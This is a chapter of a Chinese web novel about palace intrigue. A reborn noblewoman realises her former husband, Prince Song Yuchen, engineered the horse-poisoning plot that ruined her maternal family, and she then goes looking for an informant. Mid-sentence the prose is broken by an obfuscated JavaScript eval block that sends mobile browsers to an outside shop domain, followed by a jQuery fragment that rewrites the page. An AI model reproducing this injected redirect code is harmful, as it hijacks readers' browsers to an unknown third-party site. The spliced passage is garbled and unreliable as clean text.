南维夏双手轻叠于膝上,垂眼望着茶盏,热气如烟徐徐攀升,鼻间弥漫着是熟悉的茶香。
耳边不时传来宋昱琛同李君茵说话的声音,说的无非是明州好山好水,李君茵只以为他是真心愧疚,三言两语后戒备心逐渐卸下,面对朝中风光无限的皇子,也不再那般拘束逐字逐句斟酌。
好歹上一世二人做了几年夫妻,对他的脾性南维夏还是略知一二的。
愧疚?他字典里就没有这两个字。
果不其然,宋昱琛话风一转,道:“李小姐自幼在明州长大,可曾听过‘良驹案’?”
李君茵并未设防,道:“您指的是十年前发生在潭阳,一夕之间,数百匹骏马良驹前后重病而亡的事吗?”
谭阳距明州不远,虽然那时李高佑已经不是都尉,却还是有人求到了他这儿。
李君茵也是长大后听族人提起,当年谭阳闹出这事,上至知府,下至马倌,无一不被迁怒,甚至深扎谭阳百余年的薛家,亦是一夕覆灭。
官员们半个脑袋悬在脖子上,人心惶惶。
宋昱琛点头,道:“就是此案,听说后来是李将军寻得的良驹圣手救治余下马匹,方为谭阳官员留了一线生机。”
他抿了抿嘴,看上去有些许郝然:“不知道李小姐可知晓那位良驹圣手如今身在何处?”
南维夏目光微凝,冷冷望向宋昱琛。
李君茵并未察觉不妥,甚至有几分无法帮上忙的遗憾,摇头道:“不知道,当年我太小了,很多细节都是长大后听祖父提起的。”
见宋昱琛面露失望,她咬了咬唇,笑道:“不过我可以回去问问祖父,当年是他亲自将良驹圣手送出城外,想必应是知晓她的去向。”
闻言,宋昱琛立时起身拱手,道:“如此,琛便将此事托付给李小姐了,多谢!”
如今朝堂上,宋昱琛并未得过多重用,一来他年纪轻,方涉朝政不久,尚且人轻言微。二来他是个淡泊名利的性子,不争不抢,虽得皇帝喜爱,却比不上其他皇子在朝中势力。
当然,这仅是表面上的情形,南维夏自是知晓他的野心远远胜过所有皇子。在走到至高无上的位置之前,所有的藏锋隐锐,委曲求全,通通不值一提。
不过,这些表象足以骗过李君茵。
堂堂大邺六皇子,竟对着她一个小姑娘躬身行礼,对李君茵而言,已然足够骇人听闻。
她霎时红了脸,带着几分不知所措起身行礼,道:“若能帮上景王殿下,是小女福分,哪里还能受您的礼。”
稍稍停顿一瞬,她又柔声询问道:“只是不知景王殿下为何要寻那良驹圣手?”
到底是侯府小姐,虽惶恐羞涩,却仍是留了几分理智。
就算是景王的忙,也不能稀里糊涂地帮了。
宋昱琛看向李君茵,洛城美人云集,以她的姿色甚至称不上好看。
惟一双笑起来弯若月牙的杏眼,及唇边浅浅梨涡可堪入眼。若非有求于她,他是一瞬也忍受不了她眼中熟悉的热忱情意,遑论身侧还有个缠人的南维夏。
他不过勾勾手指,随意说几句讨姑娘欢心的话语,少女立时热着脸贴上来了。
因而,这般情境下,李君茵竟会反问他,的确有几分出乎意料。他原还想着若她什么也不问,该怎么提及此事,如此倒是省了气力。
宋昱琛温声道:“南云军营近日马匹屡屡发病,经军医诊疗,猜测应是中了同十年前发生在谭阳的良驹案一致的巫草毒。”
李君茵大惊,道:“怎会如此?我们在城中竟未曾听到一点风声!”
宋昱琛叹息,道:“原是不想引起骚乱,遣人先隐瞒下来,可若是巫草毒,想来是如何也遮掩不住,倒不如集思广益,及时挽回损失。”
李君茵疑惑道:“景王殿下为何不直接递信给祖父,祖父若是知晓定会帮您的。”
宋昱琛顿了顿,面露尴尬,道:“前几日也曾递了信到府上,李侯爷只道身子不适,难以面客。”
这下李君茵也尴尬起来,祖父每日鸡不鸣就在院中练武,哪里有半分不适,不过是推辞的借口罢了。
再无听曲的闲心,宋昱琛达到目的也不再停留,随意寻了由头起身离去。
临走前,目光幽深地在南维夏身上停留片刻,见她虽极守礼节,屈膝垂眸行了礼,可他内心实在憋屈。
她越是守礼节,他越是不习惯。
南维夏自然察觉到他打量的目光,不是刻意想要引起他注意,只是她担心。
她担心,一不小心就泄露出满身恨意。
原是如此。
原是如此。
前世侯府一夕倾覆,她埋怨过,不解过,惋惜过。
却从来不知晓,原这一切,尽是枕边人处心积虑所为!
想来前世应也是如此,寻李高佑不得,寻了侯府小辈入手,许是李君茵,许是他人。
侯府十年前解了一回巫草毒,立功封赏,搭上二皇子的船。十年后故技重施,再解一回巫草毒,却是自导自演,再图立功封赏,攀附六皇子。
莫说皇帝,就是在她那时看来,侯府亦是自掘坟墓。
她也疑惑过,为何这巫草毒总是找上侯府,如今想来,天灾百年一遇,可换作人祸,可不是容易得多?
不过一夜,往日荣恩不复,靖阳侯府上下几十口人沦为白身,没了权势,往日稍有龃龉的,人人来踩上一脚,过得竟比寻常百姓还艰难。
南维夏不是没有想过帮忙安顿,毕竟那是母亲的外家,是她阖眼前心心念念的安稳日子。
可那时的她方攀上宋昱琛,自个儿是泥菩萨过河,又哪里有余力能腾出搭把手。
可若是这一切,尽是某人弄权所为,侯府自始至终都是无辜的呢?
且这某人,一面与她浓情蜜意,一面眼都不眨地将她外祖家除去,岂不可怖?
南维夏眼眸极冷,眼底翻滚着滔天怒意,指尖深深掐入掌心,双手更是难以遏制地颤抖。
慕澹川眯眼定定看了她半晌,淡瞥向施琦,什么也没说,跟着宋昱琛走出茶室。
“南小姐,这是润心,最是清心解火。”施琦递来茶盏,温声道。
再抬眸时,南维夏眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892625|212784||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中再无情绪,淡淡望向门外,早已没了人影。
她轻轻嗯了一声,恢复泰然。
李君茵得了消息,一心想着回府告诉祖父,哪里还有心思品茶,匆匆几口饮尽茶盘上泡好的茶,付了银子便拉着南维夏离去。
到底是将军后人,李君茵虽为女子,却深刻知晓马匹在行军作战中的重要性,自出了清水楼,一路拧起的眉始终不曾松开。
南维夏清了清嗓子,道:“茵儿先回府吧,我的帕子落在茶楼了。”
李君茵啊了一声,道:“那我陪你去取吧。”
女子手帕丢失,稍不留神便是身败名裂,的确算得上是大事。
南维夏摁住李君茵的手,道:“不必,方才的话我也听见了,事出紧急,茵儿还是快些回府告知外祖父,我们才出清水楼不远,我和灵桑走回去就可以。”
李君茵的确心急,却又做不出撇她一人在大街上独自回府的事,正为难时,南维夏轻声朝外唤道:“停车。”
南维夏安抚地笑笑,道:“昨日外祖母给了我不少银子,稍后我寻辆马车回去就是了,妹妹莫要担心。”
没等李君茵说话,她搀着灵桑的手一眨眼就下了马车。
李君茵忙撩起门帘,急声道:“既如此,姐姐可千万要带上府里的侍卫,你,过去跟着南姐姐。”
好不容易才寻了借口甩开李君茵,南维夏怎可能容忍又来个跟屁虫,她摆摆手,道:“我瞧这位小兄弟的身手还不一定有我好呢。”
灵桑附和道:“是呀,我们小姐身上有功夫呢!”
二人便在李君茵目瞪口呆的视线中,渐渐远去。
“你……你怎么没跟上去!”一偏头,见那愣头青竟真傻傻站在原地,李君茵气得满面通红。
若真让祖父祖母知晓此事,她哪里还有好果子吃!
被点到的侍卫垂眼不敢吱声,心里却是委屈,被那看上去手无缚鸡之力的官家小姐看不起便罢了,转头又被迁怒,这侍卫还真是不好做啊!
南维夏脚程极快,也有担忧李君茵回神追上来的缘故,不到半柱香,穿过延平长街一长排酒香四溢的楼房,涌过人满为患的杂戏,来到明州城的月坊。
南维夏带着帷帽,遮掩面容,可蒲柳之姿又怎是能如此轻易便被忽视的。一路行来,二人承受直白打量的目光,灵桑沉着脸,护在小姐身侧。
她虽不知小姐为何来此处,却始终知晓一点,她要确保小姐安危。
尽管心中害怕,面上仍装出一副凶狠模样。
“没事。”南维夏被她惊弓之鸟的警惕逗笑,温声道。
月坊没有云坊的奢华高雅,大多是些平民百姓生活娱乐的地界,对贸然闯入的身着华贵的女子,生了几分好奇是人之常情。一来,他们不是穷凶极恶之徒,如此防备反倒容易将她们自个儿推到众人对立面,陷入孤立无援的境地。
二来……
南维夏忽而顿住脚步,停在一户猪肉铺面前。
少女掀开帷帽,声音如初雪清冷:“请问柳藤在吗?”
她要找的人,便在月坊之中。